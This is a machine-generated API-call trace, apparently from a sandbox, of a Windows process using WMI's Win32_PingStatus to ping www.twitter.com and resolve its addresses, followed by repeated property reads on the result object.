[0159.076] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0159.076] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0159.076] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0159.076] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0159.076] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0159.076] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0159.076] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0159.076] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0159.077] SysStringByteLen (bstr="__SERVER") returned 0x10 [0159.077] SysStringByteLen (bstr="__SERVER") returned 0x10 [0159.077] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0159.077] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0159.077] SysStringByteLen (bstr="__PATH") returned 0xc [0159.077] SysStringByteLen (bstr="__PATH") returned 0xc [0159.077] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__GENUS", lFlags=0, pVal=0x5bde4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2586694*=0, plFlavor=0x2586698*=0 | out: pVal=0x5bde4f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2586694*=3, plFlavor=0x2586698*=64) returned 0x0 [0159.077] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25866c8*=0, plFlavor=0x25866cc*=0 | out: pVal=0x5bde4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25866c8*=8, plFlavor=0x25866cc*=64) returned 0x0 [0159.077] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.077] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.077] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2586720*=0, plFlavor=0x2586724*=0 | out: pVal=0x5bde4f8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2586720*=8, plFlavor=0x2586724*=64) returned 0x0 [0159.077] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2586748*=0, plFlavor=0x258674c*=0 | out: pVal=0x5bde4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2586748*=8, plFlavor=0x258674c*=64) returned 0x0 [0159.077] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.078] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.078] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__RELPATH", lFlags=0, pVal=0x5bde4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25867a0*=0, plFlavor=0x25867a4*=0 | out: pVal=0x5bde4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25867a0*=8, plFlavor=0x25867a4*=64) returned 0x0 [0159.078] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0159.078] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0159.078] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x258697c*=0, plFlavor=0x2586980*=0 | out: pVal=0x5bde4f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x258697c*=3, plFlavor=0x2586980*=64) returned 0x0 [0159.078] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25869b0*=0, plFlavor=0x25869b4*=0 | out: pVal=0x5bde4f8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8ae80*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85220, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25869b0*=8200, plFlavor=0x25869b4*=64) returned 0x0 [0159.078] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SERVER", lFlags=0, pVal=0x5bde4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25869e4*=0, plFlavor=0x25869e8*=0 | out: pVal=0x5bde4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25869e4*=8, plFlavor=0x25869e8*=64) returned 0x0 [0159.078] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0159.078] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0159.079] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2586a30*=0, plFlavor=0x2586a34*=0 | out: pVal=0x5bde4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2586a30*=8, plFlavor=0x2586a34*=64) returned 0x0 [0159.079] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.079] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.079] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PATH", lFlags=0, pVal=0x5bde4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2586a7c*=0, plFlavor=0x2586a80*=0 | out: pVal=0x5bde4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2586a7c*=8, plFlavor=0x2586a80*=64) returned 0x0 [0159.079] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0159.079] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0159.079] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0159.079] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0159.079] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.079] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="address", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2586cb4*=0, plFlavor=0x2586cb8*=0 | out: pVal=0x5bde538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x2586cb4*=8, plFlavor=0x2586cb8*=0) returned 0x0 [0159.079] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0159.079] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0159.079] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="address", lFlags=0, pVal=0x5bde58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2586cb4*=8, plFlavor=0x2586cb8*=0 | out: pVal=0x5bde58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x2586cb4*=8, plFlavor=0x2586cb8*=0) returned 0x0 [0159.079] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0159.079] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0159.079] GetAddrInfoW (in: pNodeName="www.twitter.com", pServiceName=0x0, pHints=0x5bde5d8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x5bde580 | out: ppResult=0x5bde580*=0x5f76180*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="twitter.com", ai_addr=0x5f683e8*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.129"), ai_next=0x5f75f50*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5fa3328*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.65"), ai_next=0x0))) returned 0 [0159.083] FreeAddrInfoW (pAddrInfo=0x5f76180*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="twitter.com", ai_addr=0x5f683e8*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.129"), ai_next=0x5f75f50*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5fa3328*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.65"), ai_next=0x0))) [0159.083] CoCreateGuid (in: pguid=0x5bde698 | out: pguid=0x5bde698*(Data1=0xc33af76e, Data2=0x34ff, Data3=0x40a0, Data4=([0]=0x85, [1]=0x48, [2]=0x9c, [3]=0xdd, [4]=0x44, [5]=0x56, [6]=0x6e, [7]=0x42))) returned 0x0 [0159.083] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bde318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0159.084] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bde318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0159.084] EtwEventActivityIdControl () returned 0x0 [0159.084] EtwEventActivityIdControl () returned 0x0 [0159.084] EtwEventActivityIdControl () returned 0x0 [0159.085] EtwEventActivityIdControl () returned 0x0 [0159.085] EtwEventActivityIdControl () returned 0x0 [0159.085] EtwEventActivityIdControl () returned 0x0 [0159.086] QueryPerformanceCounter (in: lpPerformanceCount=0x5bde2b4 | out: lpPerformanceCount=0x5bde2b4*=1180006317131) returned 1 [0159.092] QueryPerformanceCounter (in: lpPerformanceCount=0x5bde27c | out: lpPerformanceCount=0x5bde27c*=1180006922774) returned 1 [0159.093] EtwEventActivityIdControl () returned 0x0 [0159.093] EtwEventActivityIdControl () returned 0x0 [0159.093] EtwEventActivityIdControl () returned 0x0 [0159.093] EtwEventActivityIdControl () returned 0x0 [0159.100] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0159.100] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0159.100] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.100] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0159.100] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0159.100] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.101] IWbemClassObject:GetNames (in: This=0x5f6e0e8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde85c | out: pNames=0x5bde85c*="\x01ƀ\x04") returned 0x0 [0159.101] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0159.101] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0159.101] SafeArrayGetLBound (in: psa=0x5f8af10, nDim=0x1, plLbound=0x5bde6f4 | out: plLbound=0x5bde6f4) returned 0x0 [0159.101] SysStringByteLen (bstr="__GENUS") returned 0xe [0159.101] SysStringByteLen (bstr="__GENUS") returned 0xe [0159.101] SysStringByteLen (bstr="__CLASS") returned 0xe [0159.101] SysStringByteLen (bstr="__CLASS") returned 0xe [0159.101] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0159.101] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0159.101] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0159.101] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0159.101] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0159.101] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0159.101] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0159.101] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0159.101] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0159.101] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0159.101] SysStringByteLen (bstr="__SERVER") returned 0x10 [0159.101] SysStringByteLen (bstr="__SERVER") returned 0x10 [0159.101] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0159.101] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0159.101] SysStringByteLen (bstr="__PATH") returned 0xc [0159.102] SysStringByteLen (bstr="__PATH") returned 0xc [0159.102] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__GENUS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2595a54*=0, plFlavor=0x2595a58*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2595a54*=3, plFlavor=0x2595a58*=64) returned 0x0 [0159.102] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2595a88*=0, plFlavor=0x2595a8c*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2595a88*=8, plFlavor=0x2595a8c*=64) returned 0x0 [0159.102] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.102] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.102] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2595ae0*=0, plFlavor=0x2595ae4*=0 | out: pVal=0x5bde858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2595ae0*=8, plFlavor=0x2595ae4*=64) returned 0x0 [0159.102] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2595b08*=0, plFlavor=0x2595b0c*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2595b08*=8, plFlavor=0x2595b0c*=64) returned 0x0 [0159.102] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.102] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.102] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__RELPATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2595b60*=0, plFlavor=0x2595b64*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2595b60*=8, plFlavor=0x2595b64*=64) returned 0x0 [0159.102] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0159.102] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0159.103] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2595d3c*=0, plFlavor=0x2595d40*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2595d3c*=3, plFlavor=0x2595d40*=64) returned 0x0 [0159.103] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2595d70*=0, plFlavor=0x2595d74*=0 | out: pVal=0x5bde858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8aeb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85220, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2595d70*=8200, plFlavor=0x2595d74*=64) returned 0x0 [0159.103] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SERVER", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2595da4*=0, plFlavor=0x2595da8*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2595da4*=8, plFlavor=0x2595da8*=64) returned 0x0 [0159.103] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0159.103] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0159.103] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2595df0*=0, plFlavor=0x2595df4*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2595df0*=8, plFlavor=0x2595df4*=64) returned 0x0 [0159.103] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.103] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.103] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2595e3c*=0, plFlavor=0x2595e40*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2595e3c*=8, plFlavor=0x2595e40*=64) returned 0x0 [0159.104] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0159.104] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0159.104] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde89c | out: puCount=0x5bde89c*=0x2) returned 0x0 [0159.104] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0x0, pszText=0x0 | out: puBuffLength=0x5bde898*=0xf, pszText=0x0) returned 0x0 [0159.104] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.104] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="BufferSize", lFlags=0, pVal=0x5bde898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2596080*=0, plFlavor=0x2596084*=0 | out: pVal=0x5bde898*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2596080*=19, plFlavor=0x2596084*=0) returned 0x0 [0159.104] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0159.104] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0159.104] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.104] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0159.105] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0159.105] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.105] IWbemClassObject:GetNames (in: This=0x5f6e0e8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde890 | out: pNames=0x5bde890*="\x01ƀ\x04") returned 0x0 [0159.105] SafeArrayGetDim (psa=0x5f8ae80) returned 0x1 [0159.105] SafeArrayGetDim (psa=0x5f8ae80) returned 0x1 [0159.105] SafeArrayGetLBound (in: psa=0x5f8ae80, nDim=0x1, plLbound=0x5bde728 | out: plLbound=0x5bde728) returned 0x0 [0159.105] SysStringByteLen (bstr="__GENUS") returned 0xe [0159.105] SysStringByteLen (bstr="__GENUS") returned 0xe [0159.105] SysStringByteLen (bstr="__CLASS") returned 0xe [0159.105] SysStringByteLen (bstr="__CLASS") returned 0xe [0159.105] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0159.105] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0159.105] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0159.105] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0159.105] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0159.105] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0159.105] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0159.105] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0159.106] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0159.106] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0159.106] SysStringByteLen (bstr="__SERVER") returned 0x10 [0159.106] SysStringByteLen (bstr="__SERVER") returned 0x10 [0159.106] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0159.106] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0159.106] SysStringByteLen (bstr="__PATH") returned 0xc [0159.106] SysStringByteLen (bstr="__PATH") returned 0xc [0159.106] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__GENUS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2596434*=0, plFlavor=0x2596438*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2596434*=3, plFlavor=0x2596438*=64) returned 0x0 [0159.106] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2596468*=0, plFlavor=0x259646c*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2596468*=8, plFlavor=0x259646c*=64) returned 0x0 [0159.106] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.106] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.106] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25964c0*=0, plFlavor=0x25964c4*=0 